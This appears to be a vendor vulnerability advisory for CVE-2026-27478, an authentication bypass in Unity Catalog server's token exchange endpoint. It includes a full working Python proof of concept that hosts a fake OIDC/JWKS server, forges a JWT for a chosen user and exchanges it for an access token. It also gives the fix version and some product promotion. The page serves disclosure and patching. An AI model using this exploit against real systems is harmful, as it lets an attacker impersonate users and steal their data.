CVE-2026-27478

Context:
A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.

Way to exploit:

An attacker can exploit this by:

1. Hosting their own OIDC-compliant server with a valid JWKS endpoint
2. Signing a JWT with their own private key, setting the iss claim to their server
3. Setting the sub/email claim to any known user in the Unity Catalog system
4. Exchanging this crafted token for a valid internal access token

This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.

Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.

Example

Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.

This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.

#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""

import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify

TARGET_USER = "[email protected]"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"

# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)

# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}

# Create malicious JWT
token = jwt.encode(
    {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
     "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
    algorithm="RS256", headers={"kid": kid}
)

# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True

@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})

@app.route("/jwks")
def keys(): return jsonify(jwks)

threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)

# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
                     data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
                           "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
                           "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
                           "subject_token": token})

if resp.status_code == 200:
    access_token = resp.json()["access_token"]
    print(f"[+] Got access token as '{TARGET_USER}'")
    # Demo: list catalogs
    catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
                            headers={"Authorization": f"Bearer {access_token}"})
    print(catalogs.json())
else:
    print(f"[-] Failed: {resp.status_code} {resp.text}")

CVE-2026-27478 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27478? CVE-2026-27478 is a critical-severity security vulnerability in io.unitycatalog:unitycatalog-server (maven), affecting versions <= 0.4.0. It is fixed in 0.4.1.
2. How severe is CVE-2026-27478? CVE-2026-27478 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of io.unitycatalog:unitycatalog-server are affected by CVE-2026-27478? io.unitycatalog:unitycatalog-server (maven) versions <= 0.4.0 is affected.
4. Is there a fix for CVE-2026-27478? Yes. CVE-2026-27478 is fixed in 0.4.1. Upgrade to this version or later.
5. Is CVE-2026-27478 exploitable, and should I be worried? Whether CVE-2026-27478 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27478 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27478? Upgrade io.unitycatalog:unitycatalog-server to 0.4.1 or later.